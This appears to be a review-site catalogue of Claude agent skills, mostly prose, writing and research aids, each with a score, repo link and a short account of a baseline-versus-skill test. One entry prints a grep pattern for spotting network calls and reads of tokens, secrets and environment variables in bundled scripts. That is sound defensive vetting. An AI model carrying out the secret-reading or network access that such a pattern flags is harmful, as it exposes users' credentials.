- **Plain Handoff** [pass, 9.6/10] — Rewrites your end-of-session summary for someone who didn't watch you work. Repo: https://github.com/benjaminard/fable-skills. Card: https://skillproof.dev/skills/plain-handoff. What we found: Single self-contained SKILL.md, no bundled scripts or cross-file dependencies. In a side-by-side rewrite of a real closing message (an ETL bug investigation), it turned insider shorthand like 'root cause was `_safe_batch()` swallowing exceptions' into a plain-language explanation a returning user could act on without re-asking questions — exactly what it claims to do.
- **Authoring Skills** [pass, 9.6/10] — Checklist-driven guidance for writing well-structured, discoverable SKILL.md files. Repo: https://github.com/andrueandersoncs/claude-skill-authoring-skill. Card: https://skillproof.dev/skills/authoring-skills. What we found: Wrote a throwaway CSV-summarizer SKILL.md two ways: a naive baseline reproduced nearly every anti-pattern the skill itself warns against (vague 'helper' name, 'Helps with CSV files' description, explains what a CSV is, offers 4 competing libraries); applying the skill's own checklist fixed every one of them in the rewrite. Note: SKILL_AUTHORING_BEST_PRACTICES.md is essentially a verbatim copy of Anthropic's public skill-authoring docs page, not original content, though nothing is misrepresented.
- **Voice Critic** [pass, 9.6/10] — Critiques a draft against your own corpus of past edits to catch where it stops sounding like you. Repo: https://github.com/anup-malani/claude-skills. Card: https://skillproof.dev/skills/voice-critic. What we found: Built a synthetic 5-pair edit corpus (cuts 'it is important to note,' 'in order to,' stacked intensifiers, throat-clearing openers) and ran the critic on a draft riddled with exactly those patterns: it correctly quoted each violation verbatim, tied it to the specific corpus entry that predicted it, and produced meaning-preserving rewrites -- a generic 'tighten this prose' baseline pass caught the same rough problems but couldn't say why they mattered to this author or attribute them to a pattern.
- **Experiment Section Auditor** [pass, 9.6/10] — Audits a paper's experiment section for claim-anchored evidence, minimal ablations, and argument-style results. Repo: https://github.com/yujie-jason-zhang/polish_skill. Card: https://skillproof.dev/skills/experiment-section-auditor. What we found: Fed it a fake results paragraph claiming 91.2% accuracy plus unlisted 40%-noise and CIFAR-100 numbers: it flagged the missing parameter-matched ablation, the missing runtime measurement, AND caught that the narration cited results (40% noise, CIFAR-100) never listed among the stated done experiments -- a subtle fabrication risk a freeform review completely missed.
- **Writing Prose Like A Human** [pass, 9.6/10] — Strips AI writing tells: significance inflation, inflated verbs, trailing -ing editorializing, rule-of-three. Repo: https://github.com/kylehughes/writing-prose-like-a-human-for-agents. Card: https://skillproof.dev/skills/writing-prose-like-a-human. What we found: Baseline about-page paragraph, written without the skill, landed on almost every word in the skill's own watchlist ('cherished cornerstone', 'testament', 'nestled in the heart of', 'vibrant hub') -- the skill-guided rewrite following the five rules replaced it with dated, concrete, specific sentences and zero watchlist hits, a stark and directly falsifiable before/after.
- **Econ Write** [pass, 9.6/10] — Writes and edits economics papers by the rules of 50+ top-economist guides Repo: https://github.com/hanlulong/econ-writing-skill. Card: https://skillproof.dev/skills/econ-write. What we found: Gave identical notes for a DiD article on minimum wage and asked for an abstract — first without skill, then strictly according to the formula in SKILL.md, then ran both texts through a measurement script based on the skill's own rules. Baseline abstract failed 5 out of 6 rules: 178 words over a 150-word limit, 8 passive constructions, zero specific quantities, and 5 empty phrases like 'several interesting results' and 'further research is warranted'. Skill version passed 5 out of 6: 116 words, 6 specific quantities with measurement errors (−1.4%, SE = 0.5), zero literature mentions, zero fillers, result moved to the first sentence instead of 'we investigate'. The '50+ guides' claim was checked and confirmed: 50 ranked entries and 53 unique URLs in sources/SOURCES_RANKED.md. All 4 auxiliary files are in place, INSTALL.md specifies correct paths for Claude and Codex.
- **Natural Japanese** [pass, 9.6/10] — Detects AI-smelling Japanese with a real morphological linter, then fixes it Repo: https://github.com/coji/natural-japanese. Card: https://skillproof.dev/skills/natural-japanese. What we found: Task: write a Japanese business report (調査レポート on reducing meeting time) first using baseline — as I write by default — then strictly following the skill's body, and run both versions through the built-in lint.py. The numbers were stark: baseline — 8 findings (4 forbidden clichés like «と言えるでしょる», translationese «することができます», low_sentence_variance with a variation coefficient of 0.246 and burstiness -0.600), skill version — 1 finding. All clichés, all translated syntax, and sentence length monotony were gone; burstiness rose from -0.600 to -0.380, but still did not reach the -0.24 threshold — the only remaining issue, and an honest sign of threshold strictness, not a failure. The linter was real: sudachipy-morphology, not a regex-hack; detection provided line numbers and exact quotes; outline.py separately extracted the heading skeleton with line numbers. Stage 0 was clean: 4223 lines of scripts, no network calls, no subprocess, no environment reading; the heavy semantic.py with ~1GB model load was honestly moved to opt-in and declared in SKILL.md. It requires uv (brew install uv) for scripts — documented in README, plus there is a fallback references/manual-checklist.md for environments without uv.
- **Stop AI Slop (Japanese)** [pass, 9.6/10] — Strips AI tells from Japanese prose: false agency, hedging, flat rhythm Repo: https://github.com/iKora128/stop-ai-slop-jp. Card: https://skillproof.dev/skills/stop-ai-slop-jp. What we found: Task: rewrite a typical AI-slop Japanese post about リモートワーク (1470 bytes) — first with my usual 'make it more human' without the skill, then strictly following the skill's body; measured with a detector built from its own checklist and references/phrases.md. Original had 38 AI-臭 markers; baseline had 18 — it removed emojis, 定型句, and '3つのポイント', but left 7 偏愛語 (解像度/本質/手触り/熱量), propositional H2, and even increased 両論併記 from 4 to 5; the skill had 1 marker. Positive metrics, which the baseline completely lacked: 一人称 0→7, 伝聞 0→2, specific numbers 0→8; paragraph length variance (that very ムラ) 15.5 → 10.0 for baseline (became flatter = worse) → 38.6 for the skill, share of the most frequent ending 50%→42%→38%. On the skill's own scale, baseline scored 18/50, which was below its own threshold of 35 'rewrite from scratch', versus 42/50. I also checked the numerical claims in the docs: structures.md had exactly 6 系統, phrases.md 8 系統, examples.md 18 pairs against the promised 17 — it under-promised, not over-promised.
- **Changelog Generator** [pass, 9.2/10] — Turns git commit history into categorized, customer-facing release notes. Repo: https://github.com/openakita/openakita. Card: https://skillproof.dev/skills/release-notes. What we found: Ran it on 9 synthetic commits mixing feat/fix/security/refactor/test/chore: it correctly bucketed by impact, rewrote 'fix(notifications): correct badge count off-by-one' into plain English, and silently dropped the refactor/test/chore noise, exactly as advertised. An unguided pass kept the internal-only commits and stayed in git-log phrasing. (Listed here under our older name; the skill's own name is "Changelog Generator".)
- **Ebook Concept Development** [pass, 9.2/10] — Turns a raw ebook idea into a validated concept doc through one-question-at-a-time interrogation. Repo: https://github.com/robertguss/claude-code-toolkit. Card: https://skillproof.dev/skills/ebook-concept-development. What we found: Ran a real newsletter-repurpose idea through it: instead of dumping a 6-chapter outline like a baseline reply would, it named the missing 'reader specificity' and flagged the newsletter as a Value Gap signal, then asked exactly one question — the failure mode it's designed to prevent, actually prevented.
- **Crafting Effective READMEs** [pass, 9.2/10] — Interview-driven README generator with separate templates for OSS, personal, internal, and config repos. Repo: https://github.com/softaworks/agent-toolkit. Card: https://skillproof.dev/skills/crafting-effective-readmes. What we found: For a new OSS CLI tool it didn't just write prose — it asked the project-type question first, then filled the OSS template's Contributing/Roadmap/Dev-setup sections that a baseline, unguided draft skipped entirely.
- **Ebook Discovery** [pass, 9.2/10] — Surfaces ebook ideas from your content or expertise via a guided, multi-session discovery process. Repo: https://github.com/robertguss/claude-code-toolkit. Card: https://skillproof.dev/skills/ebook-discovery. What we found: Walked the real orientation flow instead of dumping ideas outright: asked one question at a time, recommended Content Audit with stated reasoning, and set up a living tracker before surfacing a single candidate.
- **Board Meeting Prep** [pass, 9.2/10] — Builds board decks, executive summaries, and Q&A prep against a fixed 6-phase corporate governance framework. Repo: https://github.com/w95/awesome-claude-corporate-skills. Card: https://skillproof.dev/skills/board-meeting-prep. What we found: Ran a real mini-draft (Series B SaaS board summary: revenue below plan, bridge-financing decision) through both paths - the skill's template forces an explicit 'Board action needed: Yes/No' flag and a variance-vs-plan explanation that a free-form draft skipped entirely.
- **Music Composition** [pass, 9.2/10] — Chord-by-chord songwriting and theory coach across 20+ genres, from K-pop to jazz. Repo: https://github.com/SJY051/music-composition. Card: https://skillproof.dev/skills/music-composition. What we found: Given a repetitive i-♭VI-♭III-♭VII loop in a sad piano bridge, the skill's reharmonization reference correctly diagnosed the missing dominant pull and produced a named G7♭9 substitution with a voice-leading rationale, clearly more surgical than a baseline 'try a secondary dominant' answer.
- **AI Tutor** [pass, 9.2/10] — Turns dense AI/ML concepts into plain-English, narrative explanations pitched to the right audience. Repo: https://github.com/ShawhinT/ai-tutor-skill. Card: https://skillproof.dev/skills/ai-tutor. What we found: Rewrote a vector-database explainer for a non-technical exec audience using the skill's What-Why-How framework; the skill version dropped all the cosine-similarity/embedding jargon the baseline leaned on and closed with one concrete support-ticket example.
- **Hinge Profile Optimizer** [pass, 9.2/10] — Research-grounded Hinge profile rewrite: audit, discovery interview, market math, photo order, copy. Repo: https://github.com/b1rdmania/hinge-profile-optimizer. Card: https://skillproof.dev/skills/hinge-profile-optimizer. What we found: Fed it a bare-bones profile (tacos/travel/fun prompts, one gym selfie); the skill's own principles correctly refuse to shortcut to 'better' generic prompts without running the discovery interview first, which the ungrounded baseline happily does anyway. Its research-findings.md is unusually honest — it flags which claims are peer-reviewed vs 'conventional wisdom' and explicitly debunks fake stats like '178% more matches' that dating blogs invent.
- **Technical Blog Post** [setup, 9.2/10] — Turns research notes, session logs, and code into a structured technical blog post, LLM-isms stripped. Repo: https://github.com/sam-dumont/claude-skills. Card: https://skillproof.dev/skills/technical-blog-post. What we found: The 'delve/leverage/navigate the landscape' baseline draft turned into a hook-first, number-heavy post ('3 days', '<1% error over 40 samples') once the skill's Phase 2-4 structure and voice checklist were applied - but full effect needs the companion 'sams-voice' skill installed too.
- **Agent Style** [pass, 9.2/10] — Portable, self-contained copy of the agent-style v0.3.5 prose rule pack for install-checks and audits. Repo: https://github.com/tranhieutt/software_development_department. Card: https://skillproof.dev/skills/agent-style. What we found: Ran its 3-step install-check against a planted project missing references/RULES.md and still pointing style-review at the old .agent-style/ path — it flagged both real gaps that a plain 'looks installed' glance missed entirely.
- **Scholar Deep Research** [pass, 9.2/10] — 8-phase, script-driven literature review across 7 scholarly APIs with a DOI-anchored bibliography. Repo: https://github.com/Agents365-ai/scholar-deep-research. Card: https://skillproof.dev/skills/scholar-deep-research. What we found: Ran Phase 0→2 for real against live OpenAlex/arXiv/Crossref: got a ranked, DOI-anchored top-10 with real 2023-2026 LLM-agent survey papers and a rendered report scaffold with a verifiable bibliography — a memory-only baseline risks fabricated DOIs on exactly this kind of task. Caught one real bug: the SKILL.md's own Phase-2 example `research_state.py select --state research_state.json --top 20` fails (arg order); `--state` must precede the subcommand, as Phase-0's `init` example correctly shows.
- **AI Tells** [pass, 9.2/10] — Flags AI writing fingerprints (delve, em dashes, 'not X it's Y') and rewrites clean. Repo: https://github.com/kdgbalmer/ai-tells. Card: https://skillproof.dev/skills/ai-tells. What we found: Ran it on a 134-word tell-stuffed marketing paragraph: it caught all 17 planted tells by exact category (negative parallelism, vague attribution, 'testament'/'paradigm shift', outline-style conclusion) and scored density at ~13/100 words, something my unguided baseline edit did instinctively but couldn't name or quantify.
- **Cold Message Writer** [pass, 9.2/10] — Writes short, human, hook-first cold DMs/emails instead of generic sender-focused pitches. Repo: https://github.com/felixleezd/cold-message-writer. Card: https://skillproof.dev/skills/cold-message-writer. What we found: Ran the job-seeking mini-task twice: baseline Claude wrote a 'Congratulations on your round!' email asking for a 20-30 min call; the skill version led with the reader's landing-page problem, used a lowercase name, and closed with a one-line weightless ask -- a concrete, checkable difference, not just vibes.
- **CoC KP Host** [pass, 9.2/10] — Hosts Chinese-language Call of Cthulhu tabletop RPG sessions as an AI Keeper. Repo: https://github.com/SumanasJ/coc-kp-host. Card: https://skillproof.dev/skills/coc-kp-host. What we found: Ran scripts/roll.py live (percentile check, d100, 1d6) and it works standalone with no setup; the skill's hard bans on numbered option-menus and its full CoC 7e character-card template produced a visibly more disciplined, spoiler-safe Keeper opening than an unguided baseline, which defaulted to a 1/2/3 choice menu and an incomplete character sheet.
- **Convert To Dev.to** [pass, 9.2/10] — Reformats an existing Markdown post into Dev.to-ready Markdown: frontmatter, liquid tags, fenced-block fixes. Repo: https://github.com/derailed-dash/dazbo-agent-skills. Card: https://skillproof.dev/skills/convert-to-devto. What we found: Installed with a command from an empty HOME without ~/.claude — SKILL.md was in place, frontmatter parsed; the skill consists of a single file, no scripts, network, or hidden instructions (Stage 0 clean). The only change since the last test was the addition of Rule 13 regarding Liquid/Jekyll escaping: wrap blocks with `{{ }}` in tildes, alternate the number of tildes between blocks, tilde toml/ini. Ran the same md (GitHub Actions with `${{ secrets.X }}`, toml, ini, nested markdown block, tweet in mid-sentence) through baseline and skill and parsed both results with markdown-it: baseline yielded 5 blocks instead of 4 — the nested block broke the document, and the image along with the `{% twitter %}` tag moved inside the code (0 liquid tags survived outside vs. 2 for the skill). Could not confirm Rule 13 itself: on a live Liquid engine, `{{ secrets.GCP_KEY }}` is consumed identically in both backticks and tildes, meaning the stated mechanism ('tildes prevent Liquid from compiling brackets') is not reproducible outside a real Forem — for this, points were deducted from docs; however, the advice itself is harmless, tildes and alternating their count are parsed as regular fence blocks, and `${{ }}` is preserved inside. Result: the change is cosmetically additive, the old verdict holds.
- **Thesis Writer** [pass, 9.2/10] — Drafts thesis chapters and runs a real AI-tell scanner with a QA-agent second pass. Repo: https://github.com/ibrahim-kukash/thesis-writer. Card: https://skillproof.dev/skills/thesis-writer. What we found: Ran scripts/ai_scan.py on a deliberately AI-slop paragraph I wrote: it returned a quantified 0/100 score with 10 critical/2 medium/3 minor violations (banned words, however-chains, uniform sentence length, filler phrases), each with a concrete fix — far more actionable than the vague prose critique a baseline pass produces without the scanner.
- **Syntax Style** [pass, 9.2/10] — Sentence-level prose craft from Tufte's Artful Sentences, not a grammar checker. Repo: https://github.com/aref-vc/syntax-style-skill. Card: https://skillproof.dev/skills/syntax-style. What we found: Rewrote a six-sentence choppy paragraph twice: the baseline just smoothed it with 'and/so/which'; the skill version built one cumulative base-clause sentence per structures.md and landed a short punch sentence, matching the exact 'short by contrast' move from before-after.md -- a real, checkable technique difference, not just polish.
- **Cinematic Director** [pass, 9.2/10] — Turns a scene or keyframe into a directed shot list and continuity-safe AI video prompts. Repo: https://github.com/wuwangzhang1216/DirectorSKILL. Card: https://skillproof.dev/skills/cinematic-director. What we found: Fed it the same 3-shot scene as a plain baseline prompt; the skill version added per-shot continuity anchors (identity/costume/room locked across all 3 prompts) and enforced one primary action per shot, directly countering the two most common Kling/Runway multi-shot failures the baseline output was silently vulnerable to.
- **Accounts Receivable Follow-up Writer** [pass, 9.2/10] — Escalating 4-stage invoice reminder emails calibrated by days overdue and client relationship. Repo: https://github.com/KirKruglov/claude-skills-kit. Card: https://skillproof.dev/skills/accounts-receivable-followup-writer. What we found: Correctly skipped the gentle Message 1 for a 25-day-overdue case (starts at Neutral per its own days-overdue table) and capped Message 4's threats to what the user actually has authority over — the untethered baseline email improvised a vague 'I'll pause work' threat instead.
- **Prompt Optimization** [pass, 9.2/10] — Gated 3-step BP-001~008 prompt analysis that blocks and asks for missing scope instead of guessing. Repo: https://github.com/shinpr/rashomon. Card: https://skillproof.dev/skills/prompt-optimization. What we found: Fed it a deliberately vague prompt ('Don't write bad code. Make it good. Fix the bugs in my app.'); a freehand baseline rewrite silently invented which app/bugs were meant, but the skill's gated flow correctly flagged the missing repo/bug-description as an unresolved input and returned a 'Required Input' block instead of guessing.
- **English Coach** [pass, 9.2/10] — Corrects grammar and teaches English inline after every reply, adapting within the conversation. Repo: https://github.com/tianmind-studio/english-coach. Card: https://skillproof.dev/skills/english-coach. What we found: Ran a real message with 4 planted errors ('I go to store yesterday to buying...familly...whats the weather...tokyo') through it: skill output caught all 4 with strikethrough/bold diffs, category tags, and a grammar tip, versus the baseline's plain weather answer that ignored the errors entirely — but the 'adapts to the user's level over time' claim has no memory/persistence mechanism, it only works within one conversation's context.
- **Ill Communication** [pass, 9.2/10] — Strips AI writing tells and applies real UX microcopy craft, in your voice. Repo: https://github.com/alexconner-79/ill-communication. Card: https://skillproof.dev/skills/ill-communication. What we found: Ran a real A/B on an AI-tell-laden marketing paragraph: my unassisted baseline still kept 'leverages,' 'cutting-edge,' 'robust,' and an em dash; following the skill's hard rules stripped every catalogued tell and matched British locale automatically.
- **Rocky** [pass, 9.2/10] — Answers in Rocky-from-Project-Hail-Mary voice: terse, literal, technically exact. Repo: https://github.com/hpbyte/rocky. Card: https://skillproof.dev/skills/rocky. What we found: Ran it live on a Docker 'no space left on device' question: skill output kept every command (docker system df, docker builder prune -a, docker system prune -a --volumes) in ~50 words vs. a ~140-word baseline, matching the repo's own before/after eval snapshot pattern almost exactly.
- **Wikipedia Not AI** [pass, 9.2/10] — Flags AI-writing tells in any text using Wikipedia's 16-category field guide. Repo: https://github.com/Valpep/wiki-ai-detector. Card: https://skillproof.dev/skills/wikipedia-not-ai. What we found: Ran it on a paragraph stuffed with 'pivotal moment', a challenges-formula close, and a negative parallelism: the skill named all five clustered signals by category (not just 'sounds AI'), where an unguided read only produced a vibe judgment.
- **Lecture Notes Generator** [pass, 9.2/10] — Six-agent workflow that turns a topic (or syllabus) into a bilingual, LaTeX/TikZ, Obsidian-ready economics lecture note. Repo: https://github.com/orhoncan/lecture-notes-skill. Card: https://skillproof.dev/skills/lecture-notes. What we found: All 8 referenced files (5 style/reference guides + 3 topic files covering micro, macro, econometrics) are real and present, and the microeconomics reference already has a fleshed-out elasticity section with the exact formula and TikZ demand-curve templates the generated note is supposed to use -- following the skill produced a properly cited, formula-driven, quiz-and-diagram-equipped note where an unguided baseline gave a flat wall of prose with no structure, no derivation, and no practice problems.
- **Postmodernist Critique** [pass, 9.2/10] — Six-lens structural critique that surfaces the hidden assumptions inside polished AI-generated strategy prose. Repo: https://github.com/kgeoffrey/postmodernist. Card: https://skillproof.dev/skills/postmodernist. What we found: Ran the same mission-statement paragraph through a generic tone-polish response and the skill's method: the baseline suggested adding a metric and sharpening a phrase, while the skill-guided critique named the specific audience the 'every customer, no matter their size' claim erases and flagged growth-as-inherently-good as an unexamined premise -- a genuinely different, structural read, not a rephrasing of the same feedback.
- **Academic AIO** [pass, 9.2/10] — Audits medical-AI papers for AI-search discoverability, with a pass/fail checker Repo: https://github.com/Aperivue/medsci-skills. Card: https://skillproof.dev/skills/academic-aio. What we found: Task: prepare a title, Key Points box, and abstract for submission to Radiology — a transformer detecting skull fractures on non-contrast head CT. Baseline (without skill) produced a reasonable-looking draft, but the skill's built-in detector rejected it: `check_summary_box.py --journal radiology --strict` returned EXIT=1, verdict NONCONFORMANT — 'found 4 bullets, expected 3' (RSNA requires exactly 3) plus a soft-hit one_claim_per_bullet on a bullet with a semicolon. The skill's version passed: EXIT=0, verdict CONFORMANT. Text measurements: baseline had 0 mentions of '95% CI', 0 numerical outcomes (AUC/sensitivity/specificity), 0 reporting guideline anchors, 0 code-availability with DOI; the skill's version had — 5 / 5 / 2 / 1 respectively. All 12 files referenced by the body (scripts/check_summary_box.py, references/summary_box_specs.json, references/checklists/AIO_GENERAL.md, templates/aio_audit_checklist.md.j2, etc.) actually exist, and three repository bundle tests were run and passed (test_summary_box: 7 passed 0 failed; test_validate_schema and test_batch_metadata_audit: ALL PASS). Scripts are stdlib-only, no network or environment reading — grep for urllib|requests|socket|subprocess|os.environ|token|secret only matched 'https://schema.org' and regex ORCID.
- **Paper Red-team & Review** [pass, 9.2/10] — Red-team your paper before submission, or write a fair, venue-formatted review Repo: https://github.com/xf686/Meet-Reviewer-2. Card: https://skillproof.dev/skills/paper-redteam. What we found: Reviewed a planted ML abstract both with and without the skill: the bundled H1-H17 fairness firewall correctly demoted three illegitimate critiques the no-skill baseline raised ('method too simple', 'should compare to GPT-4V', 'didn't beat SOTA'), while pinning every real weakness (single-seed results, unsupported 'general and robust' claim) to its exact location. It is genuinely grounded in NeurIPS/ICLR/ACL reviewer guidelines and even ships a self-caveated ICLR-2024 weakness dataset that flags its own correlation-not-causation limits. Security scan of the full body plus three reference files was clean. One usability caveat: the SKILL.md body is written almost entirely in Chinese.
- **Write Literature Review** [pass, 9.2/10] — Iterative OpenAlex literature review: seed, citation-expand, screen, rank, synthesize Repo: https://github.com/Zsun79/LitReviewSkill. Card: https://skillproof.dev/skills/write-literature-review. What we found: Ran the bundled pipeline live against OpenAlex: it returned eight real, deduped papers on biochar soil carbon with verified DOIs, actual venues (Chemosphere, Environmental Science & Technology) and true citation counts (4494, 3100), then ranked them into a reproducible table. A no-skill baseline recalls papers from memory and risks fabricated or stale citations; this fetches and ranks verifiable records with machine-readable JSONL/CSV artifacts. Search, dedupe, and rank subcommands all executed cleanly with no API key required.
- **PitchCraft** [pass, 9.2/10] — 5-part framework for kickoffs, status updates, pitches & solution-selling decks Repo: https://github.com/moshuying/pitchcraft. Card: https://skillproof.dev/skills/pitchcraft. What we found: Given the same raw facts for a project status update, the no-skill draft was a 77-word activity log with zero sourced metrics and a vague 'please advise / keep monitoring' hand-off; the skill's 5-part version led with a one-line summary, carried six quantified/sourced metrics (e.g. 800ms->340ms, Jun vs May same traffic), and reframed the one risk as root-cause plus Option A/B plus a recommendation with no homework. Templates and checklist matched the docs exactly.
- **Stop AI Slop (Chinese)** [pass, 9.2/10] — Eight rewrite rules that strip Chinese AI-slop: cliches, parallels, slogans Repo: https://github.com/VincentOld/stop-slop-zh. Card: https://skillproof.dev/skills/stop-ai-slop-zh. What we found: Fed it a typical AI-flavored Chinese paragraph: the source scored 25 banned-marker hits (shouxian/qici connectors, nominalized verbs, a slogan ending) with zero concrete details, a plain no-skill rewrite still kept 3 markers and zero specifics, while the skill rewrite hit 0 markers and forced in 4 concrete specifics (15 min down to 2 min, two named actors) as rule 7 demands. The 264-line phrase blacklist matches the README's claims, and the honest 'when NOT to use this' section (legal text, official documents, academic prose) held up. A clear, countable delta over the no-skill baseline.
- **Korean Grammar Checker** [pass, 9.2/10] — Rule-based Korean proofreader: spelling, spacing, particles, punctuation with 국립국어원 citations Repo: https://github.com/DaleSeo/korean-skills. Card: https://skillproof.dev/skills/grammar-checker. What we found: Ran a Korean tech paragraph seeded with 되요, 좋는지, 이해할수있어야, 사용하든, 세션이였어요 plus a middle-dot list 쿠키·세션·JWT. The no-skill baseline caught the everyday errors but accepted the middle dots, which read as normal Korean; the skill's references/rules.md item 6 flags that exact pattern (independent alternatives take a comma, not 가운뎃점) with the 한글 맞춤법 부호 citation, so it caught an error the baseline missed and backed each fix with a rule and a confidence tier. The skill dir is self-contained: references/rules.md, common-errors.md and before/after examples all ship inside it and install cleanly. Docs match delivery with no overselling.
- **Sharp Writing** [pass, 9.2/10] — Rules for sharp, concise prose in docs, READMEs, and agent skills Repo: https://github.com/paleo/alignfirst. Card: https://skillproof.dev/skills/sharp-writing. What we found: Ran it on a CLI README intro: it cut a 55-word hype-laden paragraph to 40 words, dropped 'powerful/intuitive/essential', and deleted a restating closing sentence its 'stop at the last fact' rule forbids, while adding concrete exit-code behavior. Single self-contained SKILL.md with no scripts, so nothing to break or exfiltrate, and the install command dropped it into a bare HOME cleanly. The body practices the concision it preaches, so its claims match observed behavior.
- **Baoyu Article Illustrator** [setup, 8.8/10] — Analyzes an article, plans Type x Style x Palette illustrations, and writes reproducible image prompts. Repo: https://github.com/JimLiu/baoyu-skills. Card: https://skillproof.dev/skills/baoyu-article-illustrator. What we found: Correctly refused to fake final images when no image-generation backend was available, producing only an outline and prompt files instead - honest, but it does nothing end-to-end without a separate image tool installed.
- **Email Discipline** [pass, 8.8/10] — One ask, one dated CTA, a hard word budget — emails busy people actually answer. Repo: https://github.com/Skillproofdev/email-discipline. Card: https://skillproof.dev/skills/email-discipline. What we found: Our own skill — tested under the same protocol, disclosed. 12-scenario, two-arm bench (Sonnet baseline vs Sonnet+skill) scored a scripted mechanical layer, ground-truth coverage, and blind paired preference. The skill won decisively on all three layers — mechanical pass 2/12→12/12, ground-truth coverage 84%→99%, blind preference 10-1-1 — while the published verdict discloses one lost scenario (S12, a post-incident update) and one tie (S11), plus a caveat that blind judging was done in-context rather than by an independent judge instance. Protocol test caught real issues in our own repos (dead benchmark links, strict-YAML frontmatter) — fixed and re-verified same day.
- **Text Humanizer** [pass, 8.8/10] — Rewrites AI-sounding drafts into human prose without losing a single fact. Repo: https://github.com/Skillproofdev/text-humanizer. Card: https://skillproof.dev/skills/text-humanizer. What we found: Our own skill — tested under the same protocol, disclosed. The bench ran 4 SKILL.md revisions against an unchanged naive-prompt baseline over 12 AI-generated texts; v1–v3 all lost the blind human-ness preference (8-0, 12-0, 12-0) before v4 inverted the method (freeze facts, rebuild structure freely) and won 8-4 with 129/130 claims intact and the fewest residual tells (2) of any arm. Caveats disclosed by the bench itself: single in-context LLM judge from the rewriter's own model family (no external detector reachable), one run, and a margin with several near-coin-flip texts — a clear but modest win, not a blowout. Protocol test caught real issues in our own repos (dead benchmark links, strict-YAML frontmatter) — fixed and re-verified same day.
- **Vibe Creating Prompt** [pass, 8.8/10] — Judgment-first rewriter that turns ideas or messy prompts into clean text-to-video prompts. Repo: https://github.com/Alisa0808/vibe-creating-skill. Card: https://skillproof.dev/skills/vibe-creating-prompt. What we found: Rewrote a fisherman/storm scene twice: the skill version stayed inside its own 30-120 word budget and never bolted on unrequested camera jargon, while my unguided baseline invented seagulls, tears, and a random '35mm lens, slow dolly-in' the user never asked for.
- **ML Interview Cheat Sheet** [setup, 8.8/10] — Generates 600-1000 line Chinese ML/LLM interview cheat sheets with derivations, code, and tiered Q&A. Repo: https://github.com/wanshuiyin/Auto-claude-code-research-in-sleep. Card: https://skillproof.dev/skills/interview-cheatsheet. What we found: A scoped KV-Cache mini-run showed the gap concretely: the skill version derived O(N²d)→O(Nd) properly, added an MHA/MQA/GQA/PagedAttention comparison table and tiered L1/L2/L3 collapsible Q&A, versus the baseline's flat unanswered question list — output is Chinese by design, with English technical terms inline. Real setup cost: it needs the whole ARIS repo cloned (not just this skill folder) for its style-reference file and render script, plus a working codex MCP connection for the mandatory cross-model review gate the SKILL.md leans on as its core quality claim.
- **Humanize Korean** [pass, 8.8/10] — Rule-based Korean AI-tell remover that preserves facts and protected spans, with a live audit gate. Repo: https://github.com/beefiker/superloopy. Card: https://skillproof.dev/skills/humanize-korean. What we found: Ran a real AI-flavored Korean paragraph through both versions: the skill-guided rewrite stripped every tell in the rule table (결론적으로, 을 통해, 또한, 주목할 만하다) that the baseline left half-fixed, but hand-tracing the bundled audit script's own regexes showed it pushed the change rate to 52% — over the script's own 50% fail ceiling — so full mechanical rule application on short, dense text needs to be dialed back to stay inside the tool's own gate.
- **Crucible Editor** [pass, 8.8/10] — Four-level novel editing workflow (developmental/line/copy/polish) with interactive accept/reject steps. Repo: https://github.com/forsonny/The-Crucible-Writing-System-For-Claude. Card: https://skillproof.dev/skills/crucible-editor. What we found: Fed it a filter-word-heavy throwaway paragraph ('felt,' 'saw,' 'heard' six times across five sentences): it correctly named the issue as its own 'Filter Words' category and produced an original-vs-revised block through the Line Editing Report format -- a bare editing pass caught the same problem unprompted, so the real gain is the structured report and AskUserQuestion accept/reject workflow, not sharper prose sense.
- **Mind Clone** [pass, 8.8/10] — Loads a persona file and answers strictly in that subject's cognitive voice, from Soul to Brain to Mouth. Repo: https://github.com/yzfly/Mind-Cloning-Engineering. Card: https://skillproof.dev/skills/mind-clone. What we found: Simulated the bundled Steve Jobs persona reacting to a cluttered 15-feature to-do app: the file-driven output reproduced the persona's actual 'Insanely Great vs. Shit' binary judgment and its scripted opening line verbatim, clearly more distinctive than an unguided impersonation - but the persona file itself is written entirely in Chinese, which the skill body never addresses for non-Chinese-speaking users.
- **Publisher Wechatsync** [pass, 8.8/10] — Publishes a finished markdown draft to Zhihu/Juejin/CSDN/WeChat via @wechatsync/cli, with mandatory dry-run and image-path fixups. Repo: https://github.com/xiaomoBoy/claude-writing-skills. Card: https://skillproof.dev/skills/publisher-wechatsync. What we found: Ran the bundled normalize_image_paths.py for real on a test article with an Obsidian-style %20-encoded image link plus one genuinely missing image: it correctly decoded/rewrote the good link, flagged the missing one, left the external https link untouched, and exited 2 (stop-and-fix) exactly as documented -- the one component of the workflow that's actually testable without the external wechatsync CLI/Chrome extension/platform logins the rest of the pipeline needs.
- **YouTube Korean Subtitle Translator** [pass, 8.8/10] — Downloads a YouTube video, translates its captions to Korean with real context, burns them in. Repo: https://github.com/Koomook/claude-skill-youtube-kr-subtitle. Card: https://skillproof.dev/skills/youtube-kr-subtitle. What we found: Ran the full pipeline live on a real 19s YouTube video end to end: download, SRT overlap-fix + sentence grouping (6 raw captions merged into 4 coherent units), Korean translation, timestamp merge, and libass burn-in all produced a real Korean-subtitled MP4; the only miss is the prerequisites section doesn't mention FFmpeg needs libass, which caused a cryptic 'No such filter: subtitles' failure on a minimal FFmpeg build with no actionable message from the script.
- **GEO & AEO Optimization** [pass, 8.8/10] — Turns flat marketing copy into a TL;DR/FAQ/schema-structured document built for AI-answer extraction, and flags rather than fakes missing stats. Repo: https://github.com/schwepps/skills. Card: https://skillproof.dev/skills/geo-aeo-optimization. What we found: Rewrote a plain 5-sentence product blurb per the skill's template: got a TL;DR, question-format H2s, and an FAQ block with suggested FAQPage schema, and it correctly flagged the missing user-count stat and customer quote as unverified instead of inventing them — a baseline rewrite just tightened the prose with zero structural change.
- **Chinese AI Writing Polish** [pass, 8.8/10] — Strips AI-cliche Traditional Chinese phrasing ('這不是A而是B', passive wrapping) from business copy. Repo: https://github.com/quan0715/open-press. Card: https://skillproof.dev/skills/chinese-ai-writing-polish. What we found: Ran a real before/after on a deliberately cliche-loaded SaaS tagline; the skill's own checklist ('這不是...而是...', 讓X都變成Y, table cells with redundant verbs) forced a rewrite from vague hype into a concrete who-does-what-with-what-result sentence, a genuine improvement over an unguided edit of the same line.
